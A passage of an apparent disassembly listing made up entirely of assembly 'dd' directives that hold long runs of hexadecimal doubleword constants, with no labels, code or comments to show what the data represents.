		dd 2AE91CECh, 959ECBE5h, 762749FEh, 8545AD4Fh, 0C23276A7h
		dd 0B70297FCh, 1FE15F7Bh, 0A1256B30h, 0D523B309h, 0BA5200B0h
		dd 11719D84h, 5A28E909h, 1DEE5875h, 458B724h, 0E8585EF5h
		dd 0DF5CA29Ch, 0F720A944h, 6059974Ah, 1B80C59Eh, 0EBE964C4h
		dd 0EB6CB95Dh, 0EAB196EEh, 0C22DE98Bh, 203E1372h, 0D0046DF0h
		dd 9EE80E6h, 5A8080EEh
		dd 589F4D04h, 5629E958h, 7FCBA84h, 4B7559B0h, 29C1B3D5h
		dd 0F27E5C01h, 0D38E8D50h, 6A94C644h, 4786C0BEh, 182D2B78h
		dd 6D47845h, 8F2ACCE5h,	5505F20Dh, 2998B966h, 52DD3BAh
		dd 51CF837Ch, 4735215Bh, 0C47A7C0Ah, 0E90704B7h, 270CFC7Dh
		dd 5716625Eh, 0FC570A91h, 0BA9FDE78h, 55BD041Bh, 19AA2D00h
		dd 5E124969h, 36AF2168h, 6D203E7Eh, 0CC083B9Bh,	89A238A6h
		dd 0F800095Fh, 7F53EF35h, 62272EB0h, 0E7431BCDh, 96EAE1A5h
		dd 0C59D5037h, 835EA7D3h, 4132D55Ah, 0A9A11816h, 0AB743E5Eh
		dd 43CD9F80h, 0C136138Ah, 0F1430EE1h, 23AC0D00h, 10C1D1F7h
		dd 3FD66F8Bh, 12D0B030h, 0AD32CDE4h, 0DB233D24h, 7EA632A9h
		dd 31B6812h, 74E94530h,	96C39278h, 39F8AD1Dh, 9668358h
		dd 29F3E993h, 0A81307FFh, 0BC1B9CCh, 4FC037E3h,	3E79900Dh
		dd 0F0E1AF80h, 7B593D07h, 7F0BC98Eh, 0DAB01CECh, 3E094FECh
		dd 0EB59CF89h, 5A1E053h, 8C685CD2h, 0BD056A20h,	3F93C3Bh
		dd 0EABC9101h, 36611591h, 608677F4h, 0FA80C71h,	0DABD7487h
		dd 8F088237h, 1B25005Ah, 4BDDE973h, 0A20862B0h,	0E208245Fh
		dd 0CF12CAAh, 7307749h,	32573C60h, 0EC98ABA2h, 6E09E775h
		dd 2DAA4813h, 0E91C4CE8h, 5590924Ah, 583B4FE1h,	392D495Ah
		dd 0F10ED344h, 0C0567F2Ah, 0EB42FDC6h, 320CC344h, 0E9C8D0EAh
		dd 44B5C077h, 56536535h, 81D8AB02h, 2BCE5801h, 6DA2812Fh
		dd 0D618889Ch, 9ED582CDh, 43E918ACh, 6C79561h, 0C3A7B502h
		dd 515FFE89h, 0AD24AE08h, 789E77B6h, 0E4B58F89h, 0D3682552h
		dd 0E984F571h, 0DCAC553Eh, 5DCA32A2h, 8A7047F7h, 409E8C91h
		dd 14011962h, 9297A95h,	0ADACF409h, 8958015Fh, 3920244Fh
		dd 0D9E3E977h, 0D05C53D2h, 0B744BA43h, 6816689Eh, 84AC47B3h
		dd 1456FFD2h, 0BFE88316h, 0EB685FCBh, 189D760Ch, 83B86DC9h
		dd 486662E9h, 20E83326h, 0A1F24C50h, 9A9EFEBCh,	313DB444h
		dd 0EBFB07AEh, 0C045618Ch, 59B27E09h, 8C007CD4h, 0C1613146h
		dd 0CDFE07EDh, 0C824E409h, 94DC805Dh, 9A763322h, 0FCC504E4h
		dd 0C25CB87Fh, 7046C904h, 49CB5050h, 69EF2296h,	81DE70F5h
		dd 92B2173h, 40E955C5h,	0F7D8C1BBh, 0C383BEA4h,	61D1D27Ah
		dd 972C6FE6h, 565A099Eh, 2F2006F2h, 0E4D195DBh,	947480Ah
		dd 8C2E12BCh, 0B852E5B6h, 0F2FCBB80h, 8B9D343Eh, 863D09FAh
		dd 0C4B2348h, 70B26856h, 0B9FA3C9h, 0FBBFF63h, 0CDF0DF2h
		dd 0E01AC133h, 1AF96FAh, 5DE972C3h, 38CD7FF1h, 0DFD0DE62h
		dd 0C02E4409h, 271352D0h, 9400AF4Dh, 974394E1h,	413A900Fh
		dd 0EDC0016Ch, 0E9415CEh, 2E30D9FAh, 811705A7h,	683B20EDh
		dd 0D3951747h, 0BA5C4544h, 5463532h, 0FA09FF5Ah, 68B22102h
		dd 317E3A38h, 289F8A2Ch, 0D2139E7Ah, 0B9B7F0h, 735C0FEBh
		dd 16B76855h, 0E9264204h, 9BBC842Ch, 0C610CC5h,	8077626Eh
		dd 283EEF0Eh, 3F82B7CFh, 790C7F59h, 16CB9706h, 2503D518h
		dd 56FDB8E9h, 438687C3h, 89E1C531h, 1D322BC7h, 2589F2D2h
		dd 0B8D7462Eh, 0B5D33DB0h, 0E984216Fh, 49FAD8A0h, 0A2828751h
		dd 5905ECA3h, 0FA01ED60h, 0E90A0C8Bh, 0DD59A9DEh, 8155511Ah
		dd 0A6495EFAh, 0EEAB08C8h, 1E6A763Dh, 3B0EBB0Dh, 1780407h
		dd 6658EBC1h, 6AA28005h, 89056074h, 564A59CAh, 1D93B201h
		dd 0E12113E4h, 0A961BF41h, 33A94BBh, 0B86F6D13h, 0E6C1058Bh
		dd 0D4EE5602h, 9B1EC0E4h, 965F5BACh, 0CC8004ECh, 475A9731h
		dd 0DF1E87E2h, 7B7AD3F7h, 8708FB69h, 92DD982Bh,	935A443Bh
		dd 97C2A873h, 0E44D21EEh, 0B15B037Bh, 0C874570h, 0E6028864h
		dd 1261168h, 0D22FC9EEh, 45B9D33h, 2CDD4688h, 79D6258Ch
		dd 8FA5652h, 243F76E8h,	3E12C93Fh, 1D041252h, 0F8ECC79Bh
		dd 2034F0C0h, 96584064h, 0E9177307h, 0A4A8556Bh, 915ED4A2h
		dd 71DAEE81h, 9A40481Bh, 4B3414DEh, 92CEA84Bh, 2D90CB08h
		dd 7355EAC9h, 59E9C4FCh, 0E23FE0A1h, 44DEC4B2h,	6B09AB17h
		dd 574CAB21h, 3DDE589Eh, 8C32676Fh, 0BD51B6E9h,	735EE30Fh
		dd 96525E20h, 1AEC3BDDh, 0A6519DA1h, 28C5B583h,	0AE88EAEEh
		dd 0C6CE8EC0h, 0FA6B5AF0h, 2D679E3Bh, 86C22A74h, 2C1969EFh
		dd 276F5FA8h, 4F11E310h, 35A63E56h, 5631EFD7h, 7F2509E9h
		dd 1EE89320h, 9538F311h, 0D378CDh, 0CB506460h, 0B471E927h
		dd 7DB838C7h, 0D11D75A3h, 502AA7FDh, 5C01AB72h,	81765463h
		dd 273ED8CBh, 0E75E2F5Bh, 0B10BDC40h, 2FDBF70Ah, 0ABD667E9h
		dd 0A5BC2ACFh, 343750ADh, 0CBE25FD7h, 0B5F04ABBh, 340C12A4h
		dd 81D1F87Ch, 2905B28h,	0F3DEC02Bh, 652C3EA5h, 0CA02E454h
		dd 577B8978h, 0E5FC0310h, 0E9EA960Bh, 5A0A404Bh, 26D87821h
		dd 43A5E330h, 0E33E6B52h, 0C831A7E7h, 1409C585h, 0BBC7A02Dh
		dd 0D60C7706h, 534B2215h, 0B01322BAh, 58BCA0F7h, 7154EF81h
		dd 29722713h, 8200C74h,	9EA4E917h, 0FE4A47FDh, 63050A41h
		dd 0A07A353Dh, 62028CB0h, 9CE977F7h, 0AEE757FAh, 42356804h
		dd 0BE9649F9h, 41F19F38h, 0DB02ACDh, 3B189521h,	0BFA7CA5Fh
		dd 70C44A4h, 6AE8E7F4h,	0ADADF608h, 8AEB187Bh, 48023D61h
		dd 0FF682908h, 0E149EE8Eh, 0EF009CD4h, 0C8012FADh, 0C8089459h
		dd 817125A9h, 24E05F08h, 0C61F089Fh, 0A0B52C28h, 5DAC31Ch
		dd 4B7A281Dh, 3D3404F7h, 0FE017E09h, 0A246DAC1h, 0A25F704Bh
		dd 1D68C201h, 16A15166h, 95301656h, 12C4AE1Eh, 1CF36E88h
		dd 0BB088027h, 69E2C102h, 0C9D04357h, 5B08E950h, 0E120D1BDh
		dd 3F4283E9h, 0FC2AD7C9h, 518E605h, 2A7C6C5Bh, 9D10FA01h
		dd 7C5E2708h, 0B60262BAh, 555A5956h, 6D4C881Bh,	0EB36417Fh
		dd 10795203h, 0B6010A56h, 445C1E7Eh, 42E9844Fh,	50F2CA81h
		dd 5C18D5CCh, 2FC7707h,	8CF25B68h, 224DE943h, 0C2D74B80h
		dd 5C758B9Fh, 0FE6E51EAh, 0EF2C0109h, 0D52F0861h, 79500475h
		dd 1732AB69h, 9D92F819h, 255B06F9h, 14F4F284h, 0E71084DAh
		dd 29787FA2h, 0A38FB51h, 0AF1095CFh, 0A9EAAD68h, 77914F12h
		dd 0B0BC4C04h, 3DF6BE02h, 0E17F19C2h, 452A35D0h, 0FA4EF2C0h
		dd 0D789C7C1h, 0B651D889h, 4227DA46h, 0A70E7BAEh, 0CF242245h
		dd 8E48AF10h, 4B7EB61Eh, 197C4D95h, 4212C83h, 0EA4E9392h
		dd 3A5A7445h, 5F4160F7h, 8E6760C7h, 0D2FA37Bh, 3BE4A37Fh
		dd 0FD5C922Eh, 43974840h, 5E040824h, 3F2A7603h,	2B0C0B78h
		dd 6A82F3C0h, 2CD059CEh, 0E94280B4h, 1D14871h, 1D48C1D0h
		dd 3C440F31h, 13C93960h, 2D043A54h, 6802520Ah, 0E1D1147Dh
		dd 3AF25EE5h, 208068C9h, 20503529h, 257E4A00h, 64B13DCh
		dd 68F0382Dh, 3CE90984h, 20168E84h, 8FE92E83h, 0FE0596A5h
		dd 76A73C22h, 6FBB013Eh, 7A198B56h, 0F17B2DE4h,	6E7D5E02h
		dd 0D46C2336h, 0F2FC5318h, 14AB0178h, 7E02DCBBh, 28F46F27h
		dd 0BFE918DEh, 0F18032E2h, 0A8280C28h, 8E97CDF6h, 0AA011452h
		dd 1566C3C0h, 0FF61F606h, 163F2D08h, 0DC8346E0h, 8F71B10h
		dd 1131AF9Bh, 6947201Fh, 16B7A01h, 0E70159D4h, 0A088C56h
		dd 63E62858h, 892A0866h, 1B6B1810h, 105E0B18h, 8C66791h
		dd 31187BACh, 59085A60h, 741888A6h, 0BB3A0C32h,	0F408B10h
		dd 7D64409Ch, 63BA0540h, 65FE0893h, 20B3A120h, 0FB31D137h
		dd 73EB1809h, 5DBF0888h, 0C6E3B08h, 0E928BA61h,	40466940h
		dd 8B401381h, 5E8A40E7h, 0A1C441CDh, 88C4BF9h, 99187E4Eh
		dd 0D2084167h, 63C5185Ch
		dd 4DED08B9h, 86C2935h,	6259B086h, 3C2510DEh, 57DE302h
		dd 0B59846D4h, 4662F9ABh, 2EA6A08h, 210665FDh, 91F73789h
		dd 8568640h, 81411862h,	5B0F0360h, 0D897182Ah, 20A56220h
		dd 3931C17Eh, 2CA908B4h, 3139052h, 1818D8F3h, 4408B7E5h
		dd 538381EFh, 0D1103CE0h, 5B31347Ch, 90630B39h,	0C410F129h
		dd 80407D74h, 0A901F1B7h, 7A845259h, 1858D503h,	186D9908h
		dd 0CD8078F0h, 0E910C424h, 0AA7D0557h, 85CEC4Ch, 0E7D9CA64h
		dd 466192B8h, 804D534h,	18C29A31h, 8889FBFh, 4B0CFE30h
		dd 63852011h, 0FAB50817h, 9D071818h, 80776308h,	0B680F44Ch
		dd 267B8091h, 941C30C6h, 99626208h, 0CC0347E9h,	0A7181089h
		dd 6E6F77BFh, 5E083971h, 40E12824h, 61C46884h, 0A90CA09Dh
		dd 95405C79h, 5DF840F6h, 99E7ACA9h, 62E936A9h, 0E0775995h
		dd 1086CE18h, 0D6817C96h, 6F6BD051h, 4F54188Ch,	0A1C41108h
		dd 7A04CE6Eh, 448D06F9h, 0B0D74908h, 316F0E10h,	0B56539B9h
		dd 0D8495002h, 0DD8510Ah, 51D0256Ah, 3BBDBACh, 0A4A919B5h
		dd 8C240812h, 8E4D6A1h,	18536542h, 61AC44A6h, 4AE50471h
		dd 10600A06h, 7965DE34h, 0DA6BB84Fh, 10046318h,	15748B18h
		dd 54B873FDh, 786F9EB4h, 18717D08h, 3A010A0Ch, 0A1660187h
		dd 1448D802h, 0C180E1DDh, 8DB0A951h, 496D0888h,	0FC9C6002h
		dd 5CA464E8h, 9519B25Fh, 0E3C78743h, 40AD91h, 62C473Bh
		dd 13EB0275h, 0B9370E89h, 5A03DA7h, 38F4401h, 0C90B4940h
		dd 0CA4CF775h, 0DE127498h, 21FAF003h, 0E0C03349h, 4F30B10Fh
		dd 0E9AC2C30h, 0B3B54E64h, 55B8172Dh, 6884C5F8h, 70D8BA43h
		dd 0AE5C02FDh, 5D10E92Dh, 3CB1A7Dh, 0C5726834h,	0F3211A56h
		dd 248006C6h, 567DF581h, 0F950EBDh, 0F3C23C61h,	5749E36Ah
		dd 79A568E7h, 561863F0h, 0C8311019h, 0A72AC105h, 93E90C8Dh
		dd 0B8C37938h, 73027BDh, 567F3658h, 0CB2F9F3Fh,	5DD812F8h
		dd 36A4CE83h, 0BB808B7Ch, 0EC430025h, 83E38166h, 5E011179h
		dd 6D30BA52h, 0EB7041A9h, 0B57C0490h, 6D32120h,	953E83A0h
		dd 0D4E96ED4h, 0A658526Ah, 0C4EBE917h, 0F02565A9h, 58983E5h
		dd 0C8B0D702h, 0CED61E6Ah, 97F24C06h, 14B72E1Ch, 8870AADh
		dd 0F9E0A7A5h, 0EF3E5380h, 917F9210h, 0B2D235EDh, 0E985D85Fh
		dd 0F7095E5Dh, 72277BB5h, 2D62483Fh, 0E77097Ch,	0E6755E0Ah
		dd 5A2030F6h, 1478BA26h, 9816A128h, 51FB702h, 0DDDAF70Dh
		dd 0BCAAF20h, 52091BA4h, 0D58F65E9h, 0EBF75519h, 6EF96898h
		dd 2485AFBDh, 4191FB41h, 0E66E29B6h, 61BA9243h,	2ED62957h
		dd 28BFFD34h, 68F6E8B3h, 0F3757B25h, 0E95C406Fh, 22DEED1Bh
		dd 72C68087h, 3023F630h, 530A4F5h, 2C685366h, 0E9274276h
		dd 0DD8B4F5Eh, 0E67CF702h, 0FB9FC9D2h, 84183FF5h, 6EECE55Bh
		dd 0D2F7024h, 0EE83D749h, 9872B2Ch, 46C335FCh, 0B06F5B88h
		dd 2F0E7D1h, 0FC3A2F2Dh, 0BD550094h, 32517A6Eh,	5E0CEDFEh
		dd 0C1C4508h, 11423E8Eh, 93CD07FCh, 0C067D634h,	720C71C5h
		dd 0BB537901h, 1062192Ah, 35273087h, 0A87D69F3h, 5B01083Fh
		dd 535DEF31h, 6B0A6E80h, 0F5BB28D8h, 0D7279412h, 1184D001h
		dd 0BD2A0142h, 0DA116967h, 33B424C3h, 39E68155h, 303C285Ah
		dd 0E712711Fh, 13BAB173h, 245DFA6Eh, 68FE9417h,	0FA485EBFh
		dd 300BDECAh, 0E48CFE43h, 0EA8D889Bh, 0C38B5F04h, 8BAE0167h
		dd 0C64C762Eh, 0D30C9862h, 1C1CB001h, 252243E9h, 0D1D393DFh
		dd 0BC24228h, 2C8D1473h, 0F55C0AC7h, 9EC8B556h,	3006CC4Dh
		dd 4BBCE958h, 175A4C1Ch, 0E10F7C19h, 0FAA1F9F2h, 432C2740h
		dd 0A4C6883Ch, 918001E2h, 770BE405h, 6025F63Bh,	0EFD11689h
		dd 0F09F781h, 0DE3DC510h, 0E2D552F5h, 2F477FC8h, 0AD05BADh
		dd 0AAAEB8E9h, 92A99C8Eh, 0A055BD51h, 38565359h, 26034D68h
		dd 7FA4E903h, 400BE148h, 6124AA93h, 1C09738Ah, 0EBEAA008h
		dd 0EE0F3166h, 0BD895E5Dh, 7541D2CAh, 52CB58F7h, 1D370840h
		dd 8B9BA0F1h, 0EB64D6BFh, 51BA9C75h, 8F00BBF8h,	0E91FA538h
		dd 2B9ED068h, 0EF69D785h, 6670A304h, 26CB8CFBh,	0FBE5740h
		dd 685C6E73h, 14F90F46h, 0B0505B00h, 24D8F68Bh,	0D0D0E878h
		dd 3013840Ch, 0EE1E04C6h, 0CC90C01h, 38E91AFFh,	0E27F3E2Eh
		dd 0BF678FE6h, 26E484DCh, 3E925825h, 5393F0B5h,	9671FFD7h
		dd 97470A8Fh, 4D7EDEA7h, 0AD6D0E0Bh, 16033179h,	3E5FF921h
		dd 3E7D0FE2h, 0E8CB29A6h, 488CC58Bh, 25E9569Dh,	2FE9FD34h
		dd 97FE87F4h, 2181C4Fh,	0FBF5740h, 4E775671h, 1850F9C9h
		dd 7B9839B7h, 7CB58A2Eh, 0A782A30h, 122090BDh, 0F0311AFCh
		dd 56AF0BFh, 1A2CC75Eh,	277C6C4Bh, 0FF6C58C7h, 0A365D534h
		dd 0A23CD7ABh, 0AA681AF6h, 46B54ACDh, 0DF8027FDh, 694C3468h
		dd 0F726D616h, 0BB097FACh, 40873E54h, 9E5C11CDh, 9C6E702Bh
		dd 0CFB8A24h, 4BAC1F15h, 79A46DBEh, 0BF0C6159h,	27A61E0h
		dd 0CE9FBE9h, 0FCB9B2E9h, 22194F28h, 0ABFACA31h, 758018ADh
		dd 699563EBh, 0FE6AB660h, 800C783Bh, 94300AEAh,	4BCC0C66h
		dd 0E93209DDh, 9CE63D6Eh, 0C0395712h, 2801C0E0h, 17D8D0F7h
		dd 0ABFF3FBEh, 23989C01h, 0D06A7696h, 433E44E5h, 0ABE15D4Fh
		dd 64070698h, 0B027363Ah, 202F7877h, 592CE47Eh,	0E978C257h
		dd 9FE590BEh, 0E4A774D3h, 56EA95C4h, 5FF1CF5h, 0C685AD6h
		dd 32A69835h, 0AF222A41h, 7B3029CEh, 1E2BF33Eh,	30FB0A8Ah
		dd 3AC617A6h, 48383D02h, 0BFC0FABBh, 0BA7C850Ch, 0E8A5C010h
		dd 274AB8EDh, 0F17C9399h, 0F856266Fh, 0D189F12h, 4173CD80h
		dd 62F8E54Ah, 2FD69B25h, 2E3E6152h, 4FF8C124h, 4C33CA5Fh
		dd 0FA251258h, 1D7433EBh, 41C0B7C5h, 139100DEh,	58BF5C66h
		dd 0CACD806Bh, 230204A2h, 0C1C28367h, 0A7130829h, 0A5EFD972h
		dd 2B20DFF0h, 646801EFh, 5D16990Dh, 2928DC52h, 0AA001B93h
		dd 0E97C5902h, 196940Eh, 0DC365CBEh, 82A9E8AFh,	0D42514C0h
		dd 1C3B5232h, 71397F35h, 62AC7664h, 12D705E4h, 95FA6886h
		dd 0F802FB41h, 0DDFF35E9h, 0EF842746h, 452CEC38h, 6E35F9DDh
		dd 15B9803Eh, 0D7906566h, 18585BECh, 34110C0h, 550AEC78h
		dd 0E17A622Ah, 0A091C9BCh, 733D9421h, 6480642Ch, 68105DBDh
		dd 0AE7150F9h, 4FE7631Dh, 42F4CF80h, 34E97FE6h,	5D8638CAh
		dd 17FB53CEh, 0B096E871h, 0A848C1E9h, 72C33116h, 37AEAC68h
		dd 0B9732FE9h, 0BE56ED80h, 433F2ABAh, 495A134Eh, 0E9B2B20h
		dd 7B404C3Ah, 251DB302h, 7D09090Ah, 0A06ED620h,	2948A752h
		dd 2D501BC9h, 5AB8A43Ch, 53355801h, 0F01B2C71h,	85031D8h
		dd 0B05AE48Ah, 0DD809A9h, 0F55E168h, 3248A556h,	48776169h
		dd 0AFA49528h, 61BA9898h, 0FD688A25h, 51B4530Bh, 59C9CCBDh
		dd 0F91851D3h, 0BF648840h, 9AE955B8h, 0F51C6297h, 0DF4BE045h
		dd 68272094h, 0B00B66D2h, 993A622Dh, 66756C29h,	58DD0987h
		dd 0F3060BBAh, 5C67B1F5h, 7AB2617Dh, 0C5CBA017h, 7BBC05CCh
		dd 1D8330F6h, 0C15FFD4Fh, 0D403ED25h, 0D9CC87BDh, 0EA3190D7h
		dd 0B04B23E9h, 3381C274h, 8E6EA4C4h, 440B504Ch,	4902E5E0h
		dd 0C40F21BAh, 0F540DF70h, 0E925D331h, 80B685D6h, 1909D31Eh
		dd 52B354F6h, 0A28C5476h, 0BBB1086h, 69E82818h,	5B5F0F5Ah
		dd 0E90BEB8Bh, 0CD21B640h, 30D803F6h, 0D24A9C53h, 5A8402F2h
		dd 67BA00FEh, 9D55C715h, 17802BF3h, 0BF56B670h,	0E57198Bh
		dd 966E362Eh, 97E25C4Ch
		dd 41500D00h, 0AFF5BB4Dh, 0E9B2BE05h, 8AFFB792h, 5DE813BBh
		dd 1E3411BCh, 33F9C213h, 9C2DD2E8h, 0EBED882h, 6B6AE381h
		dd 0C3C037CEh, 207151BFh, 5BDF2103h, 0B50DE953h, 3DF6F013h
		dd 8D8EE92h, 2E4A810Ch,	10C629B2h, 0EB054F42h, 1C2F7459h
		dd 29734AEh, 9D206EEEh,	33839760h, 0E62D2EC1h, 2E70ABB3h
		dd 0B4765545h, 0FE6EF42Eh, 7DC9B15Bh, 57C1B632h, 8152ADE9h
		dd 4FC3BA12h, 55E85DCAh, 0E92FE13Eh, 0F46D700h,	32B72B57h
		dd 51CCF6E4h, 0C40DD7C1h, 0B932264Bh, 0F5290B11h, 4DEF4600h
		dd 455AB053h, 8407FBDh,	39F224E9h, 6F75A689h, 0EFD76A64h
		dd 0B33FD599h, 0C5E909BAh, 7716FF18h, 72E56AA1h, 5950050Ch
		dd 1BE09F5h, 295A080Ch,	41E3264Ch, 0D2233111h, 0C6B15100h
		dd 52C10380h, 0C9FED1F6h, 74CD67F9h, 91A1815Dh,	3F6AD17Ch
		dd 0F9C5D45h, 2180DF5Fh, 29E7A79Dh, 0C62EC3CEh,	2DA987B0h
		dd 7E023F89h, 52E2DBE9h, 38BE0423h, 0C04D5279h,	50778002h
		dd 92BECB60h, 5C086625h, 15015A4Ah, 0E94CD414h,	22328D2h
		dd 0A21970B9h, 2EE37537h, 2D5AD598h, 6E475202h,	40E82901h
		dd 2546151Ch, 0B5D67A20h, 71729981h, 0CA3D0584h, 4B2AE912h
		dd 0D774594Bh, 40B4F92Dh, 20AF6856h, 0E911F605h, 9BFA38BFh
		dd 0F5D71013h, 9C20917h, 0D7E46A4Dh, 82F685A9h,	0C980592Ch
		dd 24B88EA1h, 0A8C3C828h, 0A8E05F41h, 0B921B4C3h, 0EB326389h
		dd 10E70D96h, 0A4DD3F3Ah, 56FB4B6Ah, 8BE33FD6h,	0EB324A30h
		dd 0EA59C43Dh, 8D68C184h, 100BB341h, 7848FC1Ch,	4ACE5910h
		dd 0F89141EEh, 383F0536h, 6E68C245h, 2FF1CC7Ah,	0AEE74CD2h
		dd 0A7B9712Dh, 8649B97Ch, 776B9531h, 92A52ACFh,	96CAC089h
		dd 5A72274Ah, 7A2F2F0h,	43D27155h, 3903105Eh, 0C2517F7h
		dd 650C0248h, 31543412h, 96243CD6h, 7C1AE905h, 46EB4BABh
		dd 0BF82F671h, 0C0917959h, 88CEAA52h, 473443EBh, 9D85BACAh
		dd 3F0669FFh, 49E9DD43h, 0C53F0276h, 0FCC1B710h, 47868140h
		dd 7427892Dh, 6008A02Fh, 1B42E45Dh, 517A5B2Ah, 3FE9D10Ah
		dd 5361D239h, 0F8EC3CB7h, 99014B0Ch, 13ABEC99h,	6696B9Ch
		dd 1F131207h, 7B2D4AB9h, 0BB73C8A4h, 0D13F9B93h, 74070B6Dh
		dd 5C55445Ch, 6FC23E39h, 52501051h, 0C004B678h,	0CE8003EEh
		dd 0A48BDBC1h, 98D8EA04h, 668DA186h, 282136Ch, 9AF52F68h
		dd 4A14D9C7h, 0BB231368h, 2F68798Ch, 5C1229BDh,	61F890FFh
		dd 9858F472h, 0F7F2162Fh, 0EA6BA02Fh, 7C5D9309h, 2541D606h
		dd 72BF509Eh, 58509F93h, 0E100B776h, 3E68113h, 9855B23Ah
		dd 6A2F0936h, 8487508Ch, 3EEC6130h, 0E45F7889h,	0BA0E96AFh
		dd 0C9C19697h, 657D5B07h, 0E956604Eh, 599F8E9Ah, 82624868h
		dd 6C68E0D3h, 0E92EE5F0h, 0EA40DACAh, 7BB13029h, 16FF2033h
		dd 69C252C4h, 5B55103h,	89EB79F1h, 0D2F710h, 0EA9A5382h
		dd 9F429F54h, 0CC3E085Dh, 13608008h, 0E800215Ch, 31779644h
		dd 5EBB08C4h, 93954B06h, 33920FE6h, 97C96420h, 21888153h
		dd 22F62DF3h, 0E9A5C79Bh, 3236C5CEh, 2FF2110h, 0A41991B8h
		dd 5F407D50h, 3776652Dh, 0BF250800h, 0E93DA875h, 49CA6224h
		dd 0D7E8F2F0h, 0A333C58h, 0E955F07Dh, 7A38464Dh, 2835ACAh
		dd 4BC31FE2h, 16291E40h, 0EAB02DEAh, 80932058h,	0FAE7F912h
		dd 0EFCF4089h, 0D44EC309h, 5179C00Bh, 78DB9DB9h, 0B38800A7h
		dd 760DD926h, 0C9393A2Dh, 5CACE98Bh, 91E9145Dh,	70C0A0FEh
		dd 3D5C975Bh, 6A3EE52h,	910A69BAh, 0F0B7E43Fh, 28E20B0Ah
		dd 0FC8E7C0Fh, 4AC5AC92h, 0ED683070h, 10DBBF0Eh, 0EE012809h
		dd 3E7C9551h, 0BB1AFD25h, 154015F5h, 0EC938A5Ch, 0E8E91671h
		dd 0C831C880h, 25D19751h, 4601FC60h, 0CD45E53Ah, 29231E8h
		dd 3D96E9EBh, 0BF86CE55h, 0E727AA4Ch, 391D7271h, 4FA968D4h
		dd 7B68997h, 33A46687h,	0EFB1F1EEh, 0ED882178h,	705DD6C7h
		dd 5A2DE4B1h, 0B74CEC01h, 0E806D847h, 2DB27628h, 28FCD028h
		dd 0C315C05Ah, 7106CBC9h, 9F32D387h, 9006260Ch,	3E7ED4BAh
		dd 0B712B49Dh, 790BF6D8h, 58451F15h, 5CAD05D0h,	9289DD2Eh
		dd 99548D71h, 7209B720h, 7DCF66DFh, 44BE4E20h, 0F1BF13BBh
		dd 3C76589h, 77EFE90Fh,	4A1C734Ch, 0A1B067AAh, 26707405h
		dd 0BF1F7A6Ch, 4AB35BFBh, 0F790B701h, 4ACCE9D7h, 0C8FB9213h
		dd 0A994BA40h, 9180EE9Eh, 236EE181h, 28295803h,	0BFBD135Ah
		dd 692DCC2Ch, 0F0804B8Fh, 284D2586h, 0BB0E5860h, 173F0961h
		dd 0BAEFD147h, 0F2BDA712h, 88071980h, 68B74806h, 0E16A1773h
		dd 0D3F0FD2Fh, 0F705A592h, 0D8098647h, 1021E65Bh, 48C6DEE9h
		dd 0AEA910B1h, 2456A14Eh, 0F8352D27h, 94C2134Ah, 2FFD101h
		dd 42DF629Dh, 459FD843h, 1E0BC6E9h, 5D58BB05h, 40EB0956h
		dd 5B5E9DDFh, 0C54E963h, 3813B9D2h, 9BB8D032h, 0AEEF82Fh
		dd 627DF90h, 6BF153A9h,	0E9DE98DFh, 0C40279C8h,	5FDA163Bh
		dd 6DD82002h, 6DC6FD86h, 589F3D24h, 7A8050A5h, 52585AE8h
		dd 48BC68h, 937F71EAh, 4B286832h, 85BF8C18h, 1CB02A13h
		dd 303BBAE0h, 210C0B5Bh, 3C13C613h, 1402CA09h, 4E01416Ah
		dd 0F9F727F4h, 662ED2FCh, 9D165C6Bh, 682E8C54h,	0F8E0C1BFh
		dd 3D047026h, 0C25F7E2Dh, 0B9D215E2h, 0DF14520Ah, 0C514D305h
		dd 362612B3h, 45286FFCh, 0F2560CDDh, 5DECD9A7h,	5D5BD09Fh
		dd 680BD626h, 57986DBCh, 5273D788h, 0F44AFE75h,	0B45B9ACCh
		dd 9EE9E103h, 1D22D9Dh,	8B7A74F1h, 26B5D37h, 0E30681Eh
		dd 9F60C4FEh, 7848D418h, 8C7B958Bh, 66AEF149h, 92D6B18Ch
		dd 0AFE4C3F9h, 0F1C6BC8h, 0E9098F2Ch, 0C9FCBDC9h, 7E4A9A6Ah
		dd 9F405C38h, 61EA76Ch,	18ABFBCBh, 4E0768E3h, 0D68BA239h
		dd 607A9B29h, 6E457A5Fh, 0CE817B01h, 532A3602h,	26851C4h
		dd 38BF5609h, 46FF4159h, 0A60C4F35h, 9AB40BAh, 0D5D8CD0Ch
		dd 0E134C851h, 0C1B3D3C2h, 81225CE9h, 37E3BDD6h, 7D3656F7h
		dd 187A450h, 0BF6CDB68h, 0C6B4DF76h, 0FD21A07Dh, 0BECCC6E9h
		dd 5C574CDFh, 1A02E89Fh, 0B3FB952Ah, 0D725F69Fh, 374ED0Bh
		dd 5F55464Fh, 19F304A7h, 0BCE20FBFh, 4C004EFDh,	85232CEFh
		dd 5359051Ah, 0FC2A6268h, 6A75C012h, 37E96423h,	6F4B9545h
		dd 5205CC5Eh, 6026C30Ch, 740C2601h, 0F8CF3DE6h,	0E2B453EAh
		dd 53FC880Eh, 39A2E76Eh, 3057585Bh, 0C042C203h,	6F06C65Fh
		dd 0EEEC3F9Dh, 6537050Ch, 134C1861h, 904BD718h,	822D9DEBh
		dd 0E7345894h, 0A2929F5Ch, 0C5C27B34h, 3CE80A21h, 5A152FACh
		dd 0EDC1C162h, 27FA0477h, 0ACDBA4B2h, 0A5555915h, 4EBC9638h
		dd 7A8E44A1h, 0C30113A6h, 69185F0Ch, 0D3A6E97Ch, 4BD8C607h
		dd 0F6E03E7Dh, 0B8EE145h, 4CD1E991h, 4E96147Fh,	52E41D1Ch
		dd 0E124BE9Ah, 695A81BBh, 0AFB46FDEh, 11819536h, 8A740F68h
		dd 0CE1AEE3Dh, 6E825764h, 5AFA50D3h, 6BA60B09h,	64FFDC62h
		dd 68830BC5h, 0D350778Bh, 485E992Fh, 0B157BB3h,	0C32138B3h
		dd 96B70055h, 5F39A80Ch, 0C15EE855h, 595EE9EEh,	58C67D89h
		dd 17BB1404h, 851722BFh, 2930EF50h, 114F40C3h, 0AC0B4F32h
		dd 4D5270Ah, 0DABA583Fh, 3C5B1B39h, 50327D24h, 12C2A8EEh
		dd 0EF475F2Dh, 36C0A65Eh, 31D95112h, 0CAD0C8F3h, 58A36805h
		dd 0CFAA9444h, 2DCACFEAh, 0D1CEC0DFh, 0C23B0FEAh, 0B2B840Fh
		dd 0A020D211h, 3812DB9Bh, 430AEB39h, 5425A2FAh,	42BB651Ah
		dd 505BDA0Fh, 3A69895Dh
